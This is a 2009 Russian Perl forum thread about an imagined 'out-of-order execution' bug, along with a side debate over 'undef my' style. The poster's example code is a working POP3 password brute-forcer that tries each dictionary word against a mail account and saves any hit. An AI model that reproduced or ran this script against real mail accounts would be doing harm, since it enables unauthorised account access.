Модераторы: ginnie, korob2001

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Как заставить Perl выполнять скрипт пошагово? 
:(
    Опции темы
Grounder
Дата 10.3.2009, 21:15 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 4
Регистрация: 10.3.2009

Репутация: нет
Всего: нет



Всем привет.

Давно замечал, что интерпритатор Perl выполняет скрип как ему вздумается, а не так, как написано в скрипте.
К примеру:
Код

foreach $f (@filelist) {
   open (FILE, "<$f") or erroranswer ("Can't open $f.");
   ...
   close FILE;
}

sub erroranswer {
}


Так вот perl почему-то сначала выполнит весь цикл, а уж потом возьмётся за процедуру.

Раньше это не особо напрягало, но вот сейчас мне требуется от него последовательность. Порылся в гугле, не нашёл ничего, как на русском, так и на английском. Кто сталкивался, подскажите пожалуйста как с ним бороться?
PM MAIL   Вверх
KSURi
Дата 10.3.2009, 21:40 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 887
Регистрация: 8.6.2006
Где: Russia

Репутация: 5
Всего: 27



А что у вас в erroranswer? Если просто print, то выключите буферизацию вывода.

Цитата

Так вот perl почему-то сначала выполнит весь цикл, а уж потом возьмётся за процедуру.

Конечно-же это не так

Это сообщение отредактировал(а) KSURi - 10.3.2009, 21:40


--------------------
Died at Life.pl line 21
PM Jabber   Вверх
klem4
Дата 10.3.2009, 21:46 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 100
Регистрация: 27.7.2008

Репутация: нет
Всего: 2



Оффтоп

 smile  

Работал у нас один кодер в конторе, так вот его вскоре уволили после того как она заявил что "у вас крон кривой".
PM MAIL   Вверх
Grounder
Дата 11.3.2009, 10:22 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 4
Регистрация: 10.3.2009

Репутация: нет
Всего: нет



KSURi, хорошо, с принтом был не удачный пример, вот пример более приближённый к моей проблеме:
Код

sub go {
    use Net::POP3;
    undef my @dict;
    undef my $t;
    open (FILE, $CONF{"scriptdir"}.'/'.$CONF{"dictionary"}) or sorrowend ("Can't open dictionary file.");
    while (<FILE>){
        s/\n//;
        $t=length();
        if ($t>=$CONF{"minlength"} && $t<=$CONF{"maxlength"}){
            push(@dict,$_);
            $t=0;
        }
    }
    close FILE;
    $t=@dict;
    while ($dict[0]){
        my $word = pop(@dict);
        my $pop = Net::POP3->new($CONF{"server"}, Timeout => 10);
        if ($pop){
            if ($pop->login($CONF{"user"}, $word) > 0) {
                open (FILE,">".$CONF{"scriptdir"}.'/output.txt') or sorrowend ("Can't open output file. Pass: $word");
                print FILE "$word\n";
                close FILE;
            }
            $pop->quit;
            print "$word - ok\n";
        }else{
            print "$word - can't connect\n";
        }
    }
}


Как видно это тупой брутфорс, набросанный за 5 минут, но в нём есть одна особенность, он на каждую попытку открывает новое соединение. 

Если бы интерпретатор perl-а выполнял скрипт пошагово, он бы не открывал тысячи соединений одновременно, а ждал завершения предыдущего.

Данная фишка проявляется как при выполнении скрипта, так и в режиме отладки. И конечно, если заменить второй цикл while на foreach ничего не поменяется.
PM MAIL   Вверх
ginnie
Дата 11.3.2009, 10:31 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Комодератор
Сообщений: 1287
Регистрация: 6.1.2008
Где: Москва

Репутация: 6
Всего: 49



Grounder, Вы для меня открываете новые возможности Perl  smile Можно поподробнее про скрипт, как Вы выяснили, что он открывает тысячи соединений одновременно?


--------------------
Написать код, понятный компьютеру, может каждый, но только хорошие программисты пишут код, понятный людям. (Мартин Фаулер. Рефакторинг)
PM MAIL Skype Jabber   Вверх
Grounder
Дата 11.3.2009, 10:45 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 4
Регистрация: 10.3.2009

Репутация: нет
Всего: нет



ginnie, скрипт в общем-то составлен для примера, но суть одна, есть клиент, который сидит в колхозе на диалапе и у него должен выполнится скрипт, который соединяется с десятком разных хостов. А из-за подобной фишки отрабатывается максимум одно-два соединения, а остальные вылетают по тайм-ауту.

Выяснил firewall-ом. 

Если важно, то запускал скрипт под виндой, но чувствую и под никсами будет тоже самое, т.к. раньше натыкался.
PM MAIL   Вверх
ginnie
Дата 11.3.2009, 12:17 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Комодератор
Сообщений: 1287
Регистрация: 6.1.2008
Где: Москва

Репутация: 6
Всего: 49



Grounder, а если этот непослушный интерпретатор попросить выводить сообщения перед соединением, после соединения и после закрытия соединения, в какой последовательности они выведутся?

Код

while ($dict[0]){
        my $word = pop(@dict);
        print "$word: connecting", $/;
        my $pop = Net::POP3->new($CONF{"server"}, Timeout => 10);
        if ($pop){
            print "$word: connected", $/;
            if ($pop->login($CONF{"user"}, $word) > 0) {
                open (FILE,">".$CONF{"scriptdir"}.'/output.txt') or sorrowend ("Can't open output file. Pass: $word");
                print FILE "$word\n";
                close FILE;
            }
            $pop->quit;
            print "$word: connection closed", $/;
            print "$word - ok\n";
        }else{
            print "$word - can't connect\n";
        }
    }



--------------------
Написать код, понятный компьютеру, может каждый, но только хорошие программисты пишут код, понятный людям. (Мартин Фаулер. Рефакторинг)
PM MAIL Skype Jabber   Вверх
shamber
Дата 11.3.2009, 12:27 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Завсегдатай
Сообщений: 1422
Регистрация: 5.9.2006
Где: Россия

Репутация: 1
Всего: 18



Grounder, dialup это и есть ваши проблемы
PM MAIL Jabber   Вверх
ginnie
Дата 11.3.2009, 12:32 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Комодератор
Сообщений: 1287
Регистрация: 6.1.2008
Где: Москва

Репутация: 6
Всего: 49



shamber, как dialup влияет на последовательность выполнения комманд интерпретатором?
Grounder ведь именно об этом говорит  smile 

Это сообщение отредактировал(а) ginnie - 11.3.2009, 12:33


--------------------
Написать код, понятный компьютеру, может каждый, но только хорошие программисты пишут код, понятный людям. (Мартин Фаулер. Рефакторинг)
PM MAIL Skype Jabber   Вверх
shamber
Дата 11.3.2009, 12:36 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Завсегдатай
Сообщений: 1422
Регистрация: 5.9.2006
Где: Россия

Репутация: 1
Всего: 18



ginnie,  smile а разве нет?
 smile 
PM MAIL Jabber   Вверх
KSURi
Дата 11.3.2009, 14:38 (ссылка) |    (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 887
Регистрация: 8.6.2006
Где: Russia

Репутация: 5
Всего: 27



 smile 
Цитата(Grounder @  11.3.2009,  10:22 Найти цитируемый пост)
Код

undef my @dict;
undef my $t;

Вау!)


--------------------
Died at Life.pl line 21
PM Jabber   Вверх
ginnie
Дата 11.3.2009, 15:28 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Комодератор
Сообщений: 1287
Регистрация: 6.1.2008
Где: Москва

Репутация: 6
Всего: 49



KSURi, меня тоже посетила мысль, что интерпретатор неадекватно выполняет неадекватно написанные скрипты  smile но мои, вроде, все работают адекватно при любом написании   smile 

Это сообщение отредактировал(а) ginnie - 11.3.2009, 15:30


--------------------
Написать код, понятный компьютеру, может каждый, но только хорошие программисты пишут код, понятный людям. (Мартин Фаулер. Рефакторинг)
PM MAIL Skype Jabber   Вверх
Grounder
Дата 12.3.2009, 01:10 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 4
Регистрация: 10.3.2009

Репутация: нет
Всего: нет



KSURi, ginnie, можно узнать, в чём неадекват?

Если вы не знаете зачем я пишу undef, это не значит, что я его пишу просто так.

Кстати, undef в данном случае работает как объявление переменной (вместо my $t=0;), при использовании strict, в некоторых случаях, требуется данное шаманство, да и просто я основные переменные выношу к началу процедуры, ради удобства.


ginnie, нет, принтом дело не исправишь...

В общем, я уже фактически решил проблему, но расписывать её здесь не вижу смысла.
Здесь о таком не задумываются.
PM MAIL   Вверх
ginnie
Дата 12.3.2009, 01:56 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Комодератор
Сообщений: 1287
Регистрация: 6.1.2008
Где: Москва

Репутация: 6
Всего: 49



Цитата(Grounder @  12.3.2009,  01:10 Найти цитируемый пост)
KSURi, ginnie, можно узнать, в чём неадекват?


Grounder, чем, по Вашему, отличаются строчки

Код

my $value;


и

Код

undef my $value;


Цитата(Grounder @  12.3.2009,  01:10 Найти цитируемый пост)
Если вы не знаете зачем я пишу undef, это не значит, что я его пишу просто так.

Grounder, если бы Вы в моем коде увидели

Код

my $value = 0;
$value = 0;


что бы вы подумали?

Цитата(Grounder @  12.3.2009,  01:10 Найти цитируемый пост)
ginnie, нет, принтом дело не исправишь...

Я и не говорил, что print() что-то исправит. Просто тогда были бы доказательства Ваших слов, а так получается пустая болтовня.

Цитата(Grounder @  12.3.2009,  01:10 Найти цитируемый пост)
В общем, я уже фактически решил проблему, но расписывать её здесь не вижу смысла.Здесь о таком не задумываются.

Искренне желаю успехов! Извините, что не смогли помочь!


--------------------
Написать код, понятный компьютеру, может каждый, но только хорошие программисты пишут код, понятный людям. (Мартин Фаулер. Рефакторинг)
PM MAIL Skype Jabber   Вверх
pompei
Дата 12.3.2009, 07:01 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 155
Регистрация: 7.9.2007

Репутация: нет
Всего: 6



а я к конструкции:
Код

undef my $x;

отношусь вполне нормально - даже если для интерпретатора это масто масленное, то я более уверен что $x ======== undef

Например я всегда пишу так:

Код

my $x = getIntValue();
if ($x != 0) {...}

вместо
Код

if ($x) {...}

а также пишу так

Код

my $x = getStringValue();
if ($x ne '') {...}

вместо
Код

if ($x) {...}


таким образом код становиться более читабельным (самодокументированным) и соответственно в нем возникает меньше ошибок

а автору скажу что ошибка не в perl-е, а в чем-то другом (может наверное в ДНК)

Это сообщение отредактировал(а) pompei - 12.3.2009, 07:14
--------------------
А всё оказывается гораздо проще: пассивные наноструктуры - активные наноструктуры - системы наносистем - молекулярные наносистемы - сингулярность! По пять лет на каждый этап.
PM MAIL   Вверх
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Perl: Системное программирование"
korob2001
sharq
  • В этом разделе обсуждаются вопросы относящиеся только к системному программированию на Perl
  • Если ваш вопрос не относится к системному или CGI программированию, задавайте его в общем разделе
  • Если ваш вопрос относится к CGI программированию, задавайте его здесь
  • Интерпретатор Perl можно скачать здесь ActiveState, O'REILLY, The source for Perl
  • Справочное руководство "Установка perl-модулей", можно скачать здесь


Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, korob2001, sharq.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Perl: Системное программирование | Следующая тема »


 




[ Время генерации скрипта: 0.0742 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.